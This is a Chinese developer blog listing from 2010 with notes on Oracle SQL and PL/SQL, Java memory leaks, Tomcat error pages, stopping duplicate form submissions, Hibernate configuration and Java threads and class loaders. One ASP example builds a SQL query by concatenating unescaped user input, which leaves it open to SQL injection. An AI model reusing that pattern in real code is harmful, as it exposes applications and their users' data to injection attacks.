依次类推,如果没有任何匹配关系则返回defalut
分组函数
6.1AVG 取平均值
Select AVG(SAL) From EMP
6.2max 取最大值
select max(sal) from emp
6.3min 取最小值
select min(sal) from emp
6.4count 取记录数
SELECT COUNT(*) FROM EMP
也可以
select count(empno) from emp
注意:
要么count(*)
要么count(没有null值的列---主键)
6.5sum 求和
Select SUM(SAL*12) From EMP
应用:
1.分组函数和distinct关键词的搭配
Select COUNT(Distinct SAL) From EMP
2.组函数与空值
select count(comm) from emp
空值不参与运算,直接被过滤掉
3.分组数据
group by子句
SELECT COUNT(*) FROM EMP GROUP BY DEPTNO
4.使用group by规则
A.group by后面的字段不必显示在select列表中
B.反之则不行
也就是说:select后面的字段必须在group by子句中出现
例外的是:
在组函数(count,max,min等)中出现的字段除外
5.关于group by条件分组的问题
A.group by可以和where来搭配
where只能在group by的前面
Select JOB From EMP Where SAL>2000 Group By JOB
group by后面不能有where
B.where子句中不能包括组函数
条件的表达只能使用having来表示
Select DEPTNO,Max(SAL),Min(SAL) From EMP Group By DEPTNO Having Max(SAL)>2000
对象函数
posted @
2010-07-28 18:22 junly 阅读(767) |
评论 (0) |
编辑 收藏
--1定义标量变量
--(1)定义语法
变量名 [constant] 数据类型 [not null] [:= | default expr]
-- constant:用于指定常量。必须指定初始值
-- := 用于为变量和常量指定初始值
-- expr初始值的pl/sql表达式,可以是文本值、变量、函数等
--示例1:
v_name varchar2(10);
v_rate constant number(3,2) := 5.5;
v_valid boolean not null default false;
--(2)使用
--变量赋值使用等号前加冒号(:=)
--示例2:
declare
v_name varchar2(10);
v_money number(6,2);
c_tax_rate constant number(3,2) := -0.03;
v_tax_money number(6,2);
begin
select user_name,game_money into v_name,v_money
from user_info where user_id = 100000;
v_tax_money := v_money*c_tax_rate;
dbms_output.put_line('name:'||v_name);
dbms_output.put_line('money:'||v_money);
dbms_output.put_line('rate:'||v_tax_money);
end
--(3)使用%TYPE属性
v_name user_info.user_name%TYPE;
v_money user_info.game_money%TYPE;
c_tax_rate constant number(3,2) := -0.03;
v_tax_money v_money%TYPE;
--变量v_name,v_money与user_info表的user_name,game_money列的类型和长度完全一致
--变量v_tax_money与变是v_money的类型和长度完全一致
--2复合变量
--(1)pl/sql记录(类似于结构)
-- 在定义部分定义记录类型和记录变量,在执行部分引用该记录变量
-- 引用记录成员时必须要加记录变量作为前缀(记录变量。记录成员)
--示例3:
declare
TYPE record_type IS RECORD(
v_name user_info.user_name%TYPE,
v_money user_info.game_money%TYPE
);
emp_record record_type;
begin
select user_name,game_money into emp_record
from user_info where user_id = 100000;
dbms_output.put_line('name:'||emp_record.v_name);
dbms_output.put_line('money:'||emp_record.v_money);
end
--(2)pl/sql表(类似于数组)
-- pl/sql表与数组区别:下标没有上下限,个数年没有限制,下票可以为负值
-- 必须先在定义部分定义pl/sql表类型和pl/sql表变量,在执行部分引用该pl/sql表变量
--示例4:
declare
TYPE name_table_type IS TABLE OF user_info.user_name%TYPE
INDEX BY BINARY_INTEGER;
v_name name_table_type;
begin
select user_name into v_name(-1)
from user_info where user_id = 100000;
dbms_output.put_line('name:'||v_name(-1));
end
--(3)嵌套表
--(4)VARRAY(变长数组)
--3 参照变量
-- 用于存放数值指针的变量。
--(1)游标变量(REF CURSOR)
-- 静态游标:需要在定义游标时指定相应的select语句
-- 示例5:
declare
type c1 is ref cursor;--c1为ref cursor类型
emp_cursor c1;--emp_cursor为游标变量
v_name user_info.user_name%TYPE;
v_money user_info.game_money%TYPE;
begin
open emp_cursor for --打开游标变量时指定了对应的select语句
select user_name,game_money from user_info where user_id = 100000;
loop
fetch emp_cursor into v_name,v_money;
exit when emp_cursor%notfound;
dbms_output.put_line(v_name);
end loop;
end;
-- 动态游标:在定义游标变量时不要需指定相应的select语句,而是打开游标时指定select语句
--(2)对象类型变量(REF obj_type)
-- 是指向对象实例的指针
-- 示例6:
create or replace type home_type as object(--建立对象类型
street varchar2(50),city varchar2(20),
state varchar2(20),zipcode varchar2(6),
owner varchar2(10)
);
create table homes of home_type;--建表
insert into homes values('上海路100号','上海','200000','junly');
commit;
--对象表homes存放家庭地址及户主姓名,如每个家庭有四口人,为了同一家庭成员共享家庭地址,
--可使用REF引用home_type对象类型,从而降低占用空间。
create table person(
id number(6) primary key,
name varchar2(10),
addr ref home_type
);
insert into person select 1,'junly',ref(p) from homes p where p.owner='junly'
insert into person select 2,'junl2',ref(p) from homes p where p.owner='junly'
--person表插入数据时,addr列将存入指向homes表相应数据的地址指针
--4 LOB变量
/**//*用于存储大批量数据的变量
(1)内部LOB
CLOB 支技事务操作 存储数据库中 用于存储大批量字符数据
BLOB 支技事务操作 存储数据库中 用于存储大批量二进制数据
NCLOB 支技事务操作 存储数据库中 用于存储大批量字符数据
(2)外部LOB
BFILE 不支技事务 存在OS文件中 存储指向OS文件的指针
*/
--5非PL/SQL变量
posted @
2010-07-28 12:01 junly 阅读(1099) |
评论 (0) |
编辑 收藏
1
table:citys
city ran
广州 A
广州 B
广州 C
广州 D
city ran
广州 A,B,C,D
请问oracle 的sql语句要怎么写?
select city,wmsys.wm_concat(ran)
from citys
group by city
2 备忘
insert into emp (id,name,sex,tim) --dual
values(id_seq.nextval,'junly',default,to_date('2010-5-11 11:25:00','yyyy-mm-dd hh24:mi:ss'))
3 直接装载
--直接装载方式
insert /**//*+append*/ into emp (field1,field2,field3)
select f1,f2,f3 from tep
where f4=20;
4 更新
--更新
update emp set (field1,field2,field3)=(
select f1,f2,f3 from tep where f4=20)
where field4=100;
5 取消重复
select count(distinct user_name) as num
from user_info
6 group by + rollup 横向小计
-- group by + rollup 横向小计
select num1,sum(num2),sum(num3) from tmp_tb
group by rollup (num1)
7 group by + cube 纵向小计
-- group by + cube 纵向小计
select num1,sum(num2),sum(num3) from tmp_tb
group by cube(num1)
8 自连接
-- 自连接
/**//* user_info
id name pid
-------------------
7888 king
7889 blank 7888
7900 jones 7888
*/
select manager.name from user_info manager,user_info worker
where manager.id=worker.pid
and worker.name='jones';
----------
king
9 ALL和ANY(不能单独使用,与单行比较符[=,>,<,>=,<=,<>]结合使用)
--ALL和ANY(不能单独使用,与单行比较符[=,>,<,>=,<=,<>]结合使用)
/**//*
ALL 必须要符合子查询结果的所有值
ANY 只要符合子查询结果的任一个值即可
*/
select user_name,money from user_info where money >all(
select money form user_game where id=10);
select user_name,money from user_info where money >any(
select money form user_game where id>10);
10 合并查询
--(1)union 取两个结果集的并集,自动去掉重复行并以第一列的结果排序
--(2)union all 取两个结果集的并集,不去重复行也不进行排序
--(3)intersect 取两个结果集的交集
--(4)minus 取两个结果集的差集
select uname,sal from emp where sal>200
union
select uname,sal from emp where job='aaa'
11 case条件分支
select name,case when money>3000 then 3
when money>2000 then 2 when money>1000 then 1 end
from user_info where user_id=10000;
12 with子名重用子查询
--with子名重用子查询
with summary as (
select name,sum(money) as total from user_info
group by name
)
select name,total from summary
where total>3000;
13 connect by (感谢广州Nicholas兄)
select sysdate - rownum rn from dual connect by rownum<100
--日
select to_number(to_char(rn,'yyyymmdd'))rn from(select sysdate - rownum rn
from dual connect by rownum<(
select floor(sysdate-regist_time)from sales_info where user_id=15587657))
--月份
select to_number(to_char(rn,'yyyymm'))rn from(
select add_months(sysdate,-rownum) rn
from dual connect by rownum<(
select floor(months_between(sysdate,regist_time)) from sales_info where user_id=15587657))
14 批理修改
merge into sales_info s
using tb_rd_user_info u
on (s.user_id=u.user_id)
when matched then
update
set s.user_name=u.user_name;
commit;
15 删除重复记录
delete from user where rowid in (
select max(rowid) from user group by userName having count(userName)>1)
posted @
2010-07-28 09:46 junly 阅读(374) |
评论 (0) |
编辑 收藏
--例1
declare
v_name varchar2(10);
begin
select user_name into v_name from tb_rd_user_info where user_name='ywj12';
dbms_output.put_line('name:'||v_name);
exception
when no_data_found then
dbms_output.put_line('error name');
end;
--匿名块
-- 没有名称的pl/sql块,如例1
--命名块
--子程序
-- (1)过程
-- 建立过程时可以指定输入参数(in),输出参数(out)
create or replace procedure update_money(uname varchar2,num number)
is
begin
update tb_rd_user_info set game_money = num
where user_name = uname;
end update_money;
-- 删除
drop procedure update_money;
-- 调用
exec update_money('ywj123',100000);
call update_money('ywj123',100000);
-- 重新编译
alter procedure update_money compile;
-- 授权student用户使用该过程
grant execute on update_money to student;
-- (2)函数
-- 创建
create or replace function get_user_id(uname varchar2)
return number is
uid number;
begin
select user_id into uid from tb_rd_user_info
where user_name=uname;
return uid;
end;
-- 调用
var rs number
call get_user_id('ywj123') into :rs;
-- 删除
drop function get_user_id;
-- 重新编译
alter function get_user_id compile;
-- (3)包
-- 创建(包由包规范和包体两部分组成)
-- 包规范
create package emp_pkg is
procedure update_money (uname varchar2,num number);
function get_user_id(uname varchar2) return number;
end;
-- 包体
create package body emp_pkg is
procedure update_money(uname varchar2,num number)
is
begin
update tb_rd_user_info set game_money = num
where user_name = uname;
end update_money;
function get_user_id(uname varchar2)
return number is
uid number;
begin
select user_id into uid from tb_rd_user_info
where user_name=uname;
return uid;
end;
end;
-- 调用
call emp_pkg.update_money('ywj123',100000);
var rs number
call emp_pkg.get_user_id('ywj123') into :rs;
--解发器
存储过程参数传递
参数的作用是向存储过程传递数据,或从存储过程获得返回结果。正确的使用参数可以大大增加存储过程的灵活性和通用性。
参数的类型有三种,如下所示。
IN 定义一个输入参数变量,用于传递参数给存储过程
OUT 定义一个输出参数变量,用于从存储过程获取数据
IN OUT 定义一个输入、输出参数变量,兼有以上两者的功能
参数的定义形式和作用如下:
参数名 IN 数据类型 DEFAULT 值;
定义一个输入参数变量,用于传递参数给存储过程。在调用存储过程时,主程序的实际参数可以是常量、有值变量或表达式等。DEFAULT 关键字为可选项,用来设定参数的默认值。如果在调用存储过程时不指明参数,则参数变量取默认值。在存储过程中,输入变量接收主程序传递的值,但不能对其进行赋值。
参数名 OUT 数据类型;
定义一个输出参数变量,用于从存储过程获取数据,即变量从存储过程中返回值给主程序。
在调用存储过程时,主程序的实际参数只能是一个变量,而不能是常量或表达式。在存储过程中,参数变量只能被赋值而不能将其用于赋值,在存储过程中必须给输出变量至少赋值一次。
参数名 IN OUT 数据类型 DEFAULT 值;
定义一个输入、输出参数变量,兼有以上两者的功能。在调用存储过程时,主程序的实际参数只能是一个变量,而不能是常量或表达式。DEFAULT 关键字为可选项,用来设定参数的默认值。在存储过程中,变量接收主程序传递的值,同时可以参加赋值运算,也可以对其进行赋值。在存储过程中必须给变量至少赋值一次。
如果省略IN、OUT或IN OUT,则默认模式是IN。
CREATE OR REPLACE PROCEDURE CHANGE_SALARY(P_EMPNO IN NUMBER DEFAULT 7788,P_RAISE NUMBER DEFAULT 10)
AS
V_ENAME VARCHAR2(10);
V_SAL NUMBER(5);
BEGIN
SELECT ENAME,SAL INTO V_ENAME,V_SAL FROM EMP WHERE EMPNO=P_EMPNO;
UPDATE EMP SET SAL=SAL+P_RAISE WHERE EMPNO=P_EMPNO;
DBMS_OUTPUT.PUT_LINE('雇员'||V_ENAME||'的工资被改为'||TO_CHAR(V_SAL+P_RAISE));
COMMIT;
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('发生错误,修改失败!');
ROLLBACK;
END;
参数的值由调用者传递,传递的参数的个数、类型和顺序应该和定义的一致。如果顺序不一致,可以采用以下调用方法。如上例,执行语句可以改为:
EXECUTE CHANGE_SALARY(P_RAISE=>80,P_EMPNO=>7788);
可以看出传递参数的顺序发生了变化,并且明确指出了参数名和要传递的值,=>运算符左侧是参数名,右侧是参数表达式,这种赋值方法的意义较清楚。
posted @
2010-07-26 18:20 junly 阅读(727) |
评论 (0) |
编辑 收藏
最近一直被内存溢出捆扰,现在对这几天的工作做个小小的总结!另外给首次与到此类问题的小鸟们作个提示,希望大家早日变成老鸟!
1 首先确认是不是内存溢出,如果直接报OutOfMemoryException,那肯定是内存溢出,有时可能没有发现这个错误,但WEB服务到最后还是挂了,也有可能是由Memory Out,如何确认,最好的办法就是查看gc日志。
2 如果确认是内存溢出,不要急着跟踪,因为要找到确切位置还是有一定困难的,个人建议对最近修改的代码作一次全面检查,对于有可能出现内存溢出的地方作些修改。
可能出现的原因:
(1) 递归、循环,这里要注意隐性的地笔,如拦载器,我自已遇到一次拦载器的死循环
(2) static 的对象,查看static里面是不是有大量的对象塞进去
(3)Set/List/Map对象,查看Set/List/Map里面是不是有对象用完了没有释放
(4)session/application,查看session里的对象、过期时间等,看是不是无法即时释放
(5)ClassLoader,Java ClassLoader结构的使用为内存泄漏提供了许多可乘之机。这个我不知道深层原因,有知道的可以告诉我,将不胜感谢!
(6)String,字符串累加也容易出现溢出。一般顺序StringBuilder,StringBuffer,String。
(7)全局变量,尽量不使用,使用了即时释放
修改后再查看日志,也许问题已经解决了。
3 如果还是有溢出就只能上工具了,我使用的是JProfiler,功能很强大,首先我在window上远程监控linux,结果失败,原因是因为JProfiler本身就有很大的消耗,而且在测试中还要不断gc,影响生产,所以选用在测试环境中配合jmeter测试。
4 测试方法:循环测试,查看gc后是否有对象数量不断增加,即有对象未释放。
5 其此是要了解java内存分配原理和gc的工作原理,这样才可以定位到问题的具体位置。
6 对jvm进行优化。
具体操作未详细说明,可以参考相关资料
java内存泄漏原因
http://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak/
gc原理
http://chenchendefeng.javaeye.com/blog/455883
jvm优化
http://www.cjsdn.net/post/view?bid=1&id=197954
JVM调优-解决native heap持续增长 http://sw1982.javaeye.com/blog/724626 荐
posted @
2010-07-22 11:11 junly 阅读(2184) |
评论 (1) |
编辑 收藏
在开始动手之前,我一般习惯整体盘算一遍,这样感觉下起手来,比较顺. 只是有时盘算的过于细致,往往会被某个小细节拖住步子. 所以这个时候,老大总会叫我move on,先把架子搭起来,如果什么都考虑,那么永远也无法前进.
做了一些东西之后,真的发现这个理想中成立实际中困难的理论. 设想,最好把目光放在方向上.
先感叹一下.
404错误页出现这个问题,我在web.xml定义了如下的定义,
<error-page>
<error-code>404</error-code>
<location>/error_404.htm</location>
</error-page>
路径的是对的,奇怪的是我测试时输入一个不存在的页,出现404错误提示出现的却不是我所定义的页面,这就怪了.我记得在weblogic中我也是这样定义的,所以我首先想到的时服务器的问题. 只是这种问题,不要分析,我试着在javaworld发了一贴,问了一下. 二楼给了一个链接, 我进去才发现这个问题已经有很多人在讨论了.这是实际出问题,要是一直照着课本,应该不会想到这些问题,只是自己实际操作的才发现这些.
通看了所有的帖子,出现这种问题,主要有以下几个因素:
1.使用 tomcat 服务器
2.tomcat服务器版本
3.浏览器问题
4.IE的设置
5.错误页本身的大小
第一点,我想我的经历应该可以算个证明.
第二点.很多人用tomcat5.5可以顺利的找到错误页
第三点.换了一下FF,可以顺利找到指定的错误页
第四点.我设置了 工具-->Internet选项-->高级--->显示http友好错误信息(取消选择) ,可以顺利定向到指定错误页,
说明可以
第五点,我试着发狠输了一大堆东西进去, 指定错误页顺利出现了.
下面是提供的解决方法:
1.升级tomcat (换成其它服务器,代价沉重)
2.ie 设定 工具-->Internet选项-->高级--->显示http友好错误信息(取消选择) ,
3. 把错误页做大一点,具体几个字节,没测试,估计三四百足够了, (加一个div块,display设为none就可以了)
4.设置指定错误页页状态为正确,骗过IE的自定义错误页 方法
<%
response.setStatus(200); // 200 = HttpServletResponse.SC_OK
%>
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/leniz/archive/2006/01/18/582765.aspx
感谢这位仁兄
posted @
2010-06-24 10:19 junly 阅读(3499) |
评论 (0) |
编辑 收藏
当用户从表单处完成递交,如无问题已将注册信息写入数据库,但有问题的是,如何防止用户刷新页面,这相当于将原有的信息再次写入数据库,在网络上寻找解决方法,试用后将本人认为最管用的方法记下。
网络中给出如下解决方式:
第一种:禁用提交按钮
当用户提交表单后,使用JAVASCRIPT脚本语言,将提交钮禁用。
分析:如客户端没有开启脚本功能就出现问题;这也仅是在表单处理前有用,防止用户多次点击提交钮;现在很多网站都启用验证码解决此问题了。
第二种:使用 Session
在第一次写入数据库代码后,将Session标记;在数据库代码前判断Session是否曾经标记过并与刚才的标记是否相等。
代码:
Session("User") = True
Response.write "您刚才已经注册过了……"
Else
...... '省略写入数据库部分
Session("User") = True
End if
分析:比较管用的;但Session默认时效为20分钟,虽然可以设置时效长度,但由于网站服务器设置不同,也许达不到理想效果。
第三种:重新定向
注册完毕后直接将网页重新定向到其他页面。
代码:Response.Redirect "Index.html"
分析:使用此方法,需要配合客户端脚本清除历史(history)才行,没有试用,因为用户可以使用后退按钮,继续刷新。
第四种:禁止缓存
在写入数据一页最下边添加下面的代码,然后导向新页,可以使用户点击后退按钮后,页面提示网页过期。
代码:
ASP:
Response.Buffer = True
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
ASP.NET:
Response.Buffer=true;
Response.ExpiresAbsolute=DateTime.Now.AddSeconds(-1);
Response.Expires=0;
Response.CacheControl="no-cache";
分析:试用后,发现一个问题,虽然表面看到网页过期字样,但在过期网页上刷新,仍可以再次刷新多次注册。
第五种:用弹出窗口
提交表单的时候弹出新窗口(在新窗口页面完成数据库的写入),关闭本窗口。对于window.open()打开的窗口是无法用后退按钮的。
第六种:调数据库进行对比
这一种是得不偿失的方法,因为会加重服务器的负担,如果在表单没有进行AJAX方式的验证,这也算是一种必要的方法。
代码:(假设已连接数据库)
Dim Rs,SQL,UserId
UserId = Request("Userid") '从表单从取数据内容
If UserId <> "" then '不为空的时候
Set Rs=Server.CreateObject("Adodb.Recordset")
SQL = "Select Userid From 表 Where Userid='"& UserId &"'"
Rs.Open Sql, Conn, 2, 2
If Rs.Eof And Rs.Bof Then
Response.Write "没有相同数据!"
Else
Response.Write "有相同数据!"
End If
Rs.Close
Set Rs = Nothing
Response.End
End If
经过测试,如果不想太费事,直接用第六种方法,用户刷一次就对数据库检索一次,这种方式最大的弊端就是有可能把服务器累死;
由于,我采用了第二种方法,结合了第四种(效果不大),在代码最前端加入了验证由何处来本站的函数,这样可以防止用户自己在本机模仿网站表单提交数据(hi.baidu.com/76512/blog/item/b8d9be8f168d3aedf01f3680.html),也可以防止用户在本站直接在网址末端加变量值刷新数据。
由于在表单处已加入随机验证码,并已写入Session中,在处理数据前,可以先检测Session是否为空,空为已提交过了,不为空是第一次提交,在第一次提交后将该Session清空。
代码:
If Session("RndNum") = ""
Response.Write "已提交过数据了呀!"
Else
...... '省略写入数据库代码
Session("RndNum") = ""
End if
分析:只要是从正常的途径递交的表单,Session("RndNum")的数值不会为空的,从非正常途径(比如说,直接打开网址,或在本机模拟表单递交,或在网址后添加变量值,是无法写入数据库的。Session默认的20分钟,清空后仍然符合逻辑。也不怕用户打开几个注册页面,来回刷新注册。
禁用页面缓存的几种方法(静态和动态)
1、在Asp页面首部<head>加入
以下是引用片段:
Response.Buffer = True
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
Response.AddHeader "Pragma", "No-Cache" |
2、在HtML代码中加入
以下是引用片段:
<HEAD>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="0">
</HEAD> |
3、在重新调用原页面的时候在给页面传一个参数 Href="****.asp?random()"
前两个方法据说有时会失效,而第三种则是在跳转时传一个随机的参数! 因为aspx的缓存是与参数相关的,如果参数不同就不会使用缓存,而会重新生成页面,每次都传一个随机的参数就可以避免使用缓存。这个仅适用于asp&asp.net
4、在jsp页面中可使用如下代码实现无缓存:
以下是引用片段:
response.setHeader("Cache-Control","no-cache"); //HTTP 1.1
response.setHeader("Pragma","no-cache"); //HTTP 1.0
response.setDateHeader ("Expires", 0); //prevents caching at the proxy server |
这些代码加在<head> </head>中间具体如下
以下是引用片段:
<head>
<%
response.setHeader("Cache-Control","no-cache"); //HTTP 1.1
response.setHeader("Pragma","no-cache"); //HTTP 1.0
response.setDateHeader ("Expires", 0); //prevents caching at the proxy server
%>
</head> |
5、window.location.replace("WebForm1.aspx");
参数就是你要覆盖的页面,replace的原理就是用当前页面替换掉replace参数指定的页面。
这样可以防止用户点击back键。使用的是javascript脚本,举例如下:
a.html
以下是引用片段:
<html>
<head>
<title>a</title>
<script language="javascript">
function jump(){
window.location.replace("b.html");
}
</script>
</head>
<body>
<a href="javascript:jump()">b</a>
</body>
</html> |
b.html
以下是引用片段:
<html>
<head>
<title>b</title>
<script language="javascript">
function jump(){
window.location.replace("a.html");
}
</script>
</head>
<body>
<a href="javascript:jump()">a</a>
</body>
</html> |
前4种只是清空了cache,即存储在Temporary Internet Files文件夹中的临时文件,而第五种则是使用跳转页面文件替换当前页面文件,并没有清空cache,也就是说Temporary Internet Files产生了相关的临时文件,两者搭配使用真是清空缓存,必备良药。
posted @
2010-06-21 17:33 junly 阅读(2642) |
评论 (1) |
编辑 收藏
request.getRequestURI() /jqueryWeb/resources/request.jsp
request.getRequestURL() http://localhost:8080/jqueryWeb/resources/request.jsp
request.getContextPath()/jqueryWeb
request.getServletPath()/resources/request.jsp
注: resources为WebContext下的目录名
jqueryWeb 为工程名
-----------------------------------------------------
<%=request.getRequestURI() %><br/>
<%=request.getRequestURL() %><br/>
<%=request.getContextPath()%><br/>
<%=request.getServletPath() %><br/>
<%=request.getPathInfo() %><br/>
结果:
/test-struts.jsp
http://127.0.0.1:8080/test-struts.jsp
/test-struts.jsp
null
配置:
<action name="test" class="testStrutsAction" method="test">
<result>/test-struts.jsp</result>
</action>
posted @
2010-06-09 20:31 junly 阅读(2209) |
评论 (0) |
编辑 收藏
13:35:42,129 INFO EncryptLocalSessionFactoryBean:742 - Building new Hibernate SessionFactory
13:35:42,145 INFO XmlConfigurationProvider:380 - Unable to verify action class [faqAction] exists at initialization
13:35:42,254 INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\bull\BullInfo.hbm.xml
13:35:42,442 INFO HbmBinder:322 - Mapping class: com.c6.orm.model.bull.BullInfo -> TB_BULL_INFO
13:35:42,442 INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\coin\CardInfo.hbm.xml
13:35:42,457 INFO HbmBinder:322 - Mapping class: com.c6.orm.model.coin.CardInfo -> TB_CARD_INFO
13:35:42,473 INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\coin\Payment.hbm.xml
13:35:42,489 INFO HbmBinder:322 - Mapping class: com.c6.orm.model.coin.Payment -> TB_PAYMENT
13:35:42,489 INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\coin\TbBankExchangeLog.hbm.xml
。。。。。。。。。。。。
描述:提示信息Unable to verify action class exists at initialization
不停的加载.hbm.xml文件,导致tomcat无法启动。
被提示信息误导,在网上找了大量资料,都没有解决。原来由于自已不小心写错了配置文件
<property name="slaveSelfTotal" type="int" column="SLAVE_SELF_TOTAL"/>
<property name="slaveSelfTotal" type="int" column="SLAVE_SELF_TOTAL"/>
写了两次。
出现些问题大多是因为配置文件出错而引起的,仔细查看最近修改的置配文件就找到问题了
posted @
2010-05-27 13:49 junly 阅读(1799) |
评论 (0) |
编辑 收藏
摘要: 获取一组radio被选中项的值
var item = $('input[@name=items][@checked]').val();
获取select被选中项的文本
var item = $("select[@name=items] option[@selected]").text();
select下拉框的第二个元素为当前选中值
$('#select_id')[0].selected...
阅读全文
posted @
2010-05-11 09:31 junly 阅读(22166) |
评论 (2) |
编辑 收藏
1、 java命令和 javaw命令是怎么回事?
我现在的理解:
java命令在执行一个class文件的时候,
(1)首先要创建一个虚拟机实例
(2)虚拟机启动用户主线程 main()方法,这是非守护线程
(3)虚拟机(也可能是主线程)启动守护线程。比如垃圾收集线程。
(4)main()方法结束,并且由main()方法创建的用户线程也结束。也就是说系统中没有用户线程存在了,则守护线程也结束,最后虚拟机实例自动销毁。
javaw命令在eclipse启动后,也是代表了一个虚拟机实例。它一直存在应该是因为系统中有用户线程一直在后台运行。
当eclipse被关闭是,应该是调用了system的exist()方法,即虚拟机实例强行销毁。
当用户自己编写的class文件在eclipse中执行时,由javaw这个虚拟机实例解释执行。
2、 下面是网上资料总结如下:
Java有两种Thread:“守护线程Daemon”与“用户线程User”。
从字面上我们很容易将守护线程理解成是由虚拟机(virtual machine)在内部创建的,而用户线程则是自己所创建的。事实并不是这样,任何线程都可以是“守护线程Daemon”或“用户线程User”。他们在几乎每个方面都是相同的,唯一的区别是判断虚拟机何时离开:
用户线程:Java虚拟机在它所有非守护线程已经离开后自动离开。
守护线程:守护线程则是用来服务用户线程的,如果没有其他用户线程在运行,那么就没有可服务对象,也就没有理由继续下去。
setDaemon(boolean on)方法可以方便的设置线程的Daemon模式,true为Daemon模式,false为User模式。setDaemon(boolean on)方法必须在线程启动之前调用,当线程正在运行时调用会产生异常。isDaemon方法将测试该线程是否为守护线程。值得一提的是,当你在一个守护线程中产生了其他线程,那么这些新产生的线程不用设置Daemon属性,都将是守护线程,用户线程同样。
下面是演示程序:
----------------------------------------------------------------
import java.io.IOException;
/**
* 守护线程在没有用户线程可服务时自动离开
*/
public class TestMain4 extends Thread {
public TestMain4() {
}
public void run() {
for(int i = 1; i <= 50; i++){
try {
Thread.sleep(100);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
System.out.println(i);
}
}
public static void main(String [] args){
TestMain4 test = new TestMain4();
test.setDaemon(false);
test.start();
System.out.println("isDaemon = " + test.isDaemon());
try {
System.in.read(); // 接受输入,使程序在此停顿,一旦接收到用户输入,main线程结束,守护线程自动结束,如果test不是守护进程必须等到test运行完了以后才退出
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
----------------------------------------------------------------------------------
例:我们所熟悉的Java垃圾回收线程就是一个典型的守护线程,当我们的程序中不再有任何运行中的Thread,程序就不会再产生垃圾,垃圾回收器也就无事可做,所以当垃圾回收线程是Java虚拟机上仅剩的线程时,Java虚拟机会自动离开。
3、下面是一个论坛的帖子
http://topic.csdn.net/t/20060115/00/4517316.html
守护线程与普通线程的唯一区别是:当JVM中所有的线程都是守护线程的时候,JVM就可以退出了;如果还有一个或以上的非守护线程则不会退出。(以上是针对正常退出,调用System.exit则必定会退出)
所以setDeamon(true)的唯一意义就是告诉JVM不需要等待它退出,让JVM喜欢什么退出就退出吧,不用管它。
posted @
2010-04-25 00:06 junly 阅读(589) |
评论 (0) |
编辑 收藏
其他参考:
1 http://gzcj.javaeye.com/blog/394648
2 http://blog.sina.com.cn/s/blog_5f1fe33f0100d9ak.html
类加载器是 Java 语言流行的重要原因之一。它使得 Java 类可以被动态加载到 Java 虚拟机中并执行。类加载器从 JDK 1.0 就出现了,最初是为了满足 Java Applet 的需要而开发出来的。Java Applet 需要从远程下载 Java 类文件到浏览器中并执行。现在类加载器在 Web 容器和 OSGi 中得到了广泛的使用。一般来说,Java 应用的开发人员不需要直接同类加载器进行交互。Java 虚拟机默认的行为就已经足够满足大多数情况的需求了。不过如果遇到了需要与类加载器进行交互的情况,而对类加载器的机制又不是很了解的话,就很容易花大量的时间去调试
ClassNotFoundException
和
NoClassDefFoundError
等异常。本文将详细介绍 Java 的类加载器,帮助读者深刻理解 Java 语言中的这个重要概念。下面首先介绍一些相关的基本概念。
类加载器基本概念
顾名思义,类加载器(class loader)用来加载 Java 类到 Java 虚拟机中。一般来说,Java 虚拟机使用 Java 类的方式如下:Java 源程序(.java 文件)在经过 Java 编译器编译之后就被转换成 Java 字节代码(.class 文件)。类加载器负责读取 Java 字节代码,并转换成 java.lang.Class
类的一个实例。每个这样的实例用来表示一个 Java 类。通过此实例的 newInstance()
方法就可以创建出该类的一个对象。实际的情况可能更加复杂,比如 Java 字节代码可能是通过工具动态生成的,也可能是通过网络下载的。
基本上所有的类加载器都是 java.lang.ClassLoader
类的一个实例。下面详细介绍这个 Java 类。
java.lang.ClassLoader
类介绍
java.lang.ClassLoader
类的基本职责就是根据一个指定的类的名称,找到或者生成其对应的字节代码,然后从这些字节代码中定义出一个 Java 类,即 java.lang.Class
类的一个实例。除此之外,ClassLoader
还负责加载 Java 应用所需的资源,如图像文件和配置文件等。不过本文只讨论其加载类的功能。为了完成加载类的这个职责,ClassLoader
提供了一系列的方法,比较重要的方法如 表 1 所示。关于这些方法的细节会在下面进行介绍。
表 1. ClassLoader 中与加载类相关的方法
方法 |
说明 |
getParent() |
返回该类加载器的父类加载器。 |
loadClass(String name) |
加载名称为 name 的类,返回的结果是 java.lang.Class 类的实例。 |
findClass(String name) |
查找名称为 name 的类,返回的结果是 java.lang.Class 类的实例。 |
findLoadedClass(String name) |
查找名称为 name 的已经被加载过的类,返回的结果是 java.lang.Class 类的实例。 |
defineClass(String name, byte[] b, int off, int len) |
把字节数组 b 中的内容转换成 Java 类,返回的结果是 java.lang.Class 类的实例。这个方法被声明为 final 的。 |
resolveClass(Class<?> c) |
链接指定的 Java 类。 |
对于 表 1 中给出的方法,表示类名称的 name
参数的值是类的二进制名称。需要注意的是内部类的表示,如 com.example.Sample$1
和 com.example.Sample$Inner
等表示方式。这些方法会在下面介绍类加载器的工作机制时,做进一步的说明。下面介绍类加载器的树状组织结构。
类加载器的树状组织结构
Java 中的类加载器大致可以分成两类,一类是系统提供的,另外一类则是由 Java 应用开发人员编写的。系统提供的类加载器主要有下面三个:
- 引导类加载器(bootstrap class loader):它用来加载 Java 的核心库,是用原生代码来实现的,并不继承自
java.lang.ClassLoader
。
- 扩展类加载器(extensions class loader):它用来加载 Java 的扩展库。Java 虚拟机的实现会提供一个扩展库目录。该类加载器在此目录里面查找并加载 Java 类。
